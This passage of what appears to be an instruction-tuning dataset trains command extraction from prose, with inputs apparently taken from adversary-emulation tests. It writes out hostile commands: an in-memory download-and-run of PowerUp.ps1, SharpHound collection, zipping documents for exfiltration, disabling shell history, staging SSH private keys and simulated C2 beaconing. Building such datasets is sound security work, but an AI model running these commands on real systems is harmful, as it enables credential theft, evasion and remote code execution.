English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary might prepare sensitive documents for exfiltration by compressing them with this command: zip #{output_file} #{input_files}",
    "output": "{\"command_list\": [\"zip #{output_file} #{input_files}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To verify and modify the command history logging behavior, first check the current HISTSIZE value, then set it to zero and confirm the change using the following commands: echo $HISTSIZE\nexport HISTSIZE=0\necho \"runnning some commands to populate the history\"\nwhoami\ngroups\nif [ $(echo $HISTSIZE) -eq 0 ]; then echo \"\\$HISTSIZE is zero\"; else HIST_LENGTH=$(wc -l $HISTFILE); echo \"\\$HISTSIZE is not zero, history size is $HIST_LENGTH\";  fi",
    "output": "{\"command_list\": [\"echo $HISTSIZE\\nexport HISTSIZE=0\\necho \\\"runnning some commands to populate the history\\\"\\nwhoami\\ngroups\\nif [ $(echo $HISTSIZE) -eq 0 ]; then echo \\\"\\\\$HISTSIZE is zero\\\"; else HIST_LENGTH=$(wc -l $HISTFILE); echo \\\"\\\\$HISTSIZE is not zero, history size is $HIST_LENGTH\\\";  fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell script opens a handle on the drive volume and displays a hex dump of the first 11 bytes when executed: $buffer = New-Object byte[] 11\n$handle = New-Object IO.FileStream \"\\\\\\\\.\\\\#{volume}\", 'Open', 'Read', 'ReadWrite'\n$handle.Read($buffer, 0, $buffer.Length)\n$handle.Close()\nFormat-Hex -InputObject $buffer",
    "output": "{\"command_list\": [\"$buffer = New-Object byte[] 11\\n$handle = New-Object IO.FileStream \\\"\\\\\\\\.\\\\#{volume}\\\", 'Open', 'Read', 'ReadWrite'\\n$handle.Read($buffer, 0, $buffer.Length)\\n$handle.Close()\\nFormat-Hex -InputObject $buffer\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remove the battery icon Group Policy for the current user, modify the registry via cmd console with the following command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCAPower /t REG_DWORD /d 1 /f. Note that some Group Policy changes may require a system restart.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v HideSCAPower /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For copying SSH keys to a staging directory on FreeBSD, execute this command:\nmkdir #{output_folder}\nfind #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \\;",
    "output": "{\"command_list\": [\"mkdir #{output_folder}\\nfind #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \\\\;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To utilize the built-in Windows packet capture, run the following command, which will create trace.etl and trace.cab files in the temp directory: netsh trace start capture=yes tracefile=%temp%\\trace.etl maxsize=10",
    "output": "{\"command_list\": [\"netsh trace start capture=yes tracefile=%temp%\\\\trace.etl maxsize=10\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon execution, the system will attempt to terminate the specified service's process with this command: taskkill.exe /f /im #{process_name}",
    "output": "{\"command_list\": [\"taskkill.exe /f /im #{process_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Inspired by APTSimulator, this test mimics C2 beaconing activity silently. You can analyze the session by recording it with Wireshark and executing the following command to observe various user agent strings:\nInvoke-WebRequest #{domain} -UserAgent \"HttpBrowser/1.0\" | out-null\nInvoke-WebRequest #{domain} -UserAgent \"Wget/1.9+cvs-stable (Red Hat modified)\" | out-null\nInvoke-WebRequest #{domain} -UserAgent \"Opera/8.81 (Windows NT 6.0; U; en)\" | out-null\nInvoke-WebRequest #{domain} -UserAgent \"*<|>*\" | out-null\n",
